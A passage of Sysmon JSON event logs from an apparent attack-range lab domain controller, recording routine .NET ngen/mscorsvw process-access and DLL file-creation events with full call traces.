C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:18.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4306-5F2D-0000-00107D5D0F00}","TargetProcessId":"4304","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:19","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:18","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7872,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:18.714\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4306-5F2D-0000-00105B610F00}\r\nTargetProcessId: 4584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:18.714","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4306-5F2D-0000-00105B610F00}","TargetProcessId":"4584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:19","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:18","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7873,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:18.714\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4306-5F2D-0000-00105B610F00}\r\nTargetProcessId: 4584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:18.714","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4306-5F2D-0000-00105B610F00}","TargetProcessId":"4584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:19","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:18","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7874,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:18.731\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4306-5F2D-0000-00105B610F00}\r\nTargetProcessId: 4584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:18.731","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4306-5F2D-0000-00105B610F00}","TargetProcessId":"4584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:19","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7875,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:19.244\r\nProcessGuid: {90617006-4306-5F2D-0000-00105B610F00}\r\nProcessId: 4584\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\11e8-0\\System.ServiceModel.Routing.dll\r\nCreationUtcTime: 2020-08-07 12:03:19.244","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:19.244","ProcessGuid":"{90617006-4306-5F2D-0000-00105B610F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\11e8-0\\System.ServiceModel.Routing.dll","CreationUtcTime":"2020-08-07 12:03:19.244","EventReceivedTime":"2020-08-07 12:03:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7876,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:19.323\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42C9-5F2D-0000-00103DB00D00}\r\nTargetProcessId: 4128\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:19.323","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42C9-5F2D-0000-00103DB00D00}","TargetProcessId":"4128","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7877,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:19.323\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42C9-5F2D-0000-00103DB00D00}\r\nTargetProcessId: 4128\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:19.323","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42C9-5F2D-0000-00103DB00D00}","TargetProcessId":"4128","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7878,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:19.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4307-5F2D-0000-00101A680F00}\r\nTargetProcessId: 4128\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:19.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4307-5F2D-0000-00101A680F00}","TargetProcessId":"4128","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7879,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:19.416\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4307-5F2D-0000-0010956B0F00}\r\nTargetProcessId: 3820\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:19.416","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4307-5F2D-0000-0010956B0F00}","TargetProcessId":"3820","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 